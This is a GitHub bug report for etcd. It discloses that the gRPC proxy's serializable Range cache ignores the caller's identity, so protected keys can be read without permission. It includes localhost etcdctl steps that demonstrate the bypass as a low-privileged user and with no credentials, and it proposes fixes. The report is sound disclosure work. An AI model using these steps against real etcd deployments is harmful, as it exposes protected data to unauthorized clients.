Skip to content

gRPC proxy serializable Range cache can leak protected KV data across auth contexts #22065

Description

@lobuhi

Bug report criteria

What happened?

When etcd auth/RBAC is enabled behind etcd grpc-proxy, the proxy serves protected KV data to clients that have no permission to read it.

The gRPC proxy caches serializable Range responses keyed only by the marshaled RangeRequest bytes. The cache key does NOT include the caller's token, username, roles, permissions, or auth revision. For a serializable read, kvProxy.Range returns the cached response before forwarding the request to the backend, so backend RBAC is never consulted on a cache hit.

Consequence: after any authorized user (e.g. root) reads a protected key/prefix through the proxy, the response is cached. A low-privileged user — or a client with no credentials at all — that issues an equivalent serializable Range (etcdctl --consistency=s) receives the protected value/key names straight from the proxy cache.

The same auth-agnostic cache is also populated from Txn responses: an authorized transaction containing a Range/get stores that range response via kvProxy.txnToCache, which is then reachable by an unauthorized serializable get. --keys-only reads leak protected key names the same way.

Reproduced against etcd 3.6.12 and 3.6.13. The same cache-before-forwarding pattern is still present on the main branch at time of writing.

What did you expect to happen?

A cached response generated for one authenticated identity must not be reusable by a different identity. The proxy should preserve the backend authorization boundary: a serializable Range served from cache should be denied for a caller that the backend would deny, exactly like the linearizable path.

Concretely, at least one of:

  • include the caller identity + auth revision in the cache key, or
  • revalidate Range permissions against the backend before returning a cached response, or
  • disable the serializable Range cache when backend auth is enabled.

The public grpc-proxy docs state the proxy caches responses "when this does not break consistency requirements"; the same reasoning should apply to the authorization boundary.

How can we reproduce it (as minimally and precisely as possible)?

Prereqs: an etcd binary and etcdctl (3.6.12 / 3.6.13 both reproduce).

  1. Start a single backend etcd:
    etcd --name backend
    --data-dir /tmp/repro/data
    --listen-client-urls http://127.0.0.1:12479
    --advertise-client-urls http://127.0.0.1:12479
    --listen-peer-urls http://127.0.0.1:12480
    --initial-advertise-peer-urls http://127.0.0.1:12480
    --initial-cluster backend=http://127.0.0.1:12480
    --initial-cluster-state new

  2. Create an RBAC model where low has NO read permission, and a protected key:
    etcdctl --endpoints=http://127.0.0.1:12479 user add root:rootpw
    etcdctl --endpoints=http://127.0.0.1:12479 user grant-role root root
    etcdctl --endpoints=http://127.0.0.1:12479 role add lowrole # deliberately empty
    etcdctl --endpoints=http://127.0.0.1:12479 user add low:lowpw
    etcdctl --endpoints=http://127.0.0.1:12479 user grant-role low lowrole
    etcdctl --endpoints=http://127.0.0.1:12479 put /proxy-cache/secret cached-secret
    etcdctl --endpoints=http://127.0.0.1:12479 auth enable

  3. Start the gRPC proxy in front of the authenticated backend:
    etcd grpc-proxy start
    --endpoints=http://127.0.0.1:12479
    --listen-addr=127.0.0.1:12490
    --advertise-client-url=127.0.0.1:12490
    --data-dir /tmp/repro/proxy

  4. Baselines (must be DENIED):
    etcdctl --endpoints=http://127.0.0.1:12479 --user low:lowpw --consistency=s get /proxy-cache/secret
    -> Error: etcdserver: permission denied
    etcdctl --endpoints=http://127.0.0.1:12479 --consistency=s get /proxy-cache/secret
    -> Error: etcdserver: user name is empty

  5. Authorized user primes the proxy cache:
    etcdctl --endpoints=http://127.0.0.1:12490 --user root:rootpw get /proxy-cache/secret
    -> /proxy-cache/secret / cached-secret

  6. BYPASS — low-priv and unauthenticated serializable reads through the proxy:
    etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw --consistency=s get /proxy-cache/secret
    -> /proxy-cache/secret / cached-secret # should have been denied
    etcdctl --endpoints=http://127.0.0.1:12490 --consistency=s get /proxy-cache/secret
    -> /proxy-cache/secret / cached-secret # should have been denied

  7. Control (still correctly DENIED) — linearizable read forwards to backend:
    etcdctl --endpoints=http://127.0.0.1:12490 --user low:lowpw get /proxy-cache/secret
    -> Error: etcdserver: permission denied

Also works through Txn.

Anything else we need to know?

No response

Etcd version (please run commands below)

Details
$ etcd --version
etcd Version: 3.6.13
Git SHA: b0f9ef1
Go Version: go1.25.11
Go OS/Arch: linux/amd64

$ etcdctl version
etcdctl version: 3.6.13
API version: 3.6

Etcd configuration (command line flags or environment variables)

Details
# Backend etcd (auth/RBAC enabled):
etcd --name backend \
  --data-dir /tmp/repro/data \
  --listen-client-urls  http://127.0.0.1:12479 \
  --advertise-client-urls http://127.0.0.1:12479 \
  --listen-peer-urls http://127.0.0.1:12480 \
  --initial-advertise-peer-urls http://127.0.0.1:12480 \
  --initial-cluster backend=http://127.0.0.1:12480 \
  --initial-cluster-state new
# ... then: auth enable, with `low` having an empty role (no read permission).

# gRPC proxy in front of the authenticated backend:
etcd grpc-proxy start \
  --endpoints=http://127.0.0.1:12479 \
  --listen-addr=127.0.0.1:12490 \
  --advertise-client-url=127.0.0.1:12490 \
  --data-dir /tmp/repro/proxy

Etcd debug information (please run commands below, feel free to obfuscate the IP address or FQDN in the output)

Details
$ etcdctl member list -w table
+------------------+---------+----------+------------------------+------------------------+------------+
|        ID        | STATUS  |   NAME   |       PEER ADDRS       |      CLIENT ADDRS      | IS LEARNER |
+------------------+---------+----------+------------------------+------------------------+------------+
| ac7c97ef0ec193b0 | started | issuedbg | http://<REDACTED>:2380 | http://<REDACTED>:2379 |      false |
+------------------+---------+----------+------------------------+------------------------+------------+

$ etcdctl --endpoints=<member list> endpoint status -w table
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
|        ENDPOINT        |        ID        | VERSION | STORAGE VERSION | DB SIZE | IN USE | PERCENTAGE NOT IN USE | QUOTA  | IS LEADER | IS LEARNER | RAFT TERM | RAFT INDEX | RAFT APPLIED INDEX | ERRORS | DOWNGRADE TARGET VERSION | DOWNGRADE ENABLED |
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+
| http://<REDACTED>:2379 | ac7c97ef0ec193b0 |  3.6.13 |           3.6.0 |   20 kB |  16 kB |                   20% | 2.1 GB |      true |      false |         2 |          5 |                  5 |        |                          |             false |
+------------------------+------------------+---------+-----------------+---------+--------+-----------------------+--------+-----------+------------+-----------+------------+--------------------+--------+--------------------------+-------------------+

Relevant log output

Metadata

Metadata

Assignees

No one assigned

    Labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions